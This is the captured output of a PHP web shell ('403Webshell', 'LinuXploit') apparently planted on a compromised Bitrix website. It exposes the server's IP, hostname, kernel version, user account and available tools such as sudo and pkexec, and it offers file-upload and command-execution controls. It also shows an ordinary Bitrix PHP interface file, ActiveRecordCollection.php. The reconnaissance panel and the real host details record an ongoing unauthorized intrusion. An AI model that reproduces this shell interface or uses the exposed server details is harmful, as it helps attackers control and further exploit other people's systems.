403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/im/lib/V2/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/im/lib/V2/ActiveRecordCollection.php
<?php

namespace Bitrix\Im\V2;

use Bitrix\Main\ORM\Objectify\Collection;
use Bitrix\Main\ORM\Objectify\EntityObject;
use Bitrix\Im\V2\Service\Context;

interface ActiveRecordCollection
{
	/**
	 * @return int[]
	 */
	public function getPrimaryIds(): array;

	/**
	 * Returns ORM tablet class name.
	 * @return string
	 */
	public static function getDataClass(): string;

	/**
	 * Returns collection item's  class name.
	 * @return string|ActiveRecord
	 */
	public static function getCollectionElementClass(): string;

	/**
	 * Restores object state from database.
	 * @param int[]|array|EntityObject[]|Collection $source
	 * @return Result
	 */
	public function load($source): Result;

	/**
	 * Fills and prepares the fields of the data entity
	 * @return Result
	 */
	//public function prepareFields(): Result;

	/**
	 * Returns ORM data entity.
	 * @return Collection
	 */
	public function getDataEntityCollection(): Collection;

	/**
	 * Saves collection objects states into database.
	 * @return Result
	 */
	public function save(): Result;

	/**
	 * Drops object from database.
	 * @return Result
	 */
	public function delete(): Result;

	/**
	 * @param array $filter
	 * @param array $order
	 * @param int|null $limit
	 * @param Context|null $context
	 * @return static
	 */
	public static function find(array $filter, array $order, ?int $limit = null, ?Context $context = null): self;

	/**
	 * Append collection with new item.
	 * @param ActiveRecord $entry
	 * @return static
	 */
	public function add(ActiveRecord $entry): self;
}

Youez - 2016 - github.com/yon3zu
LinuXploit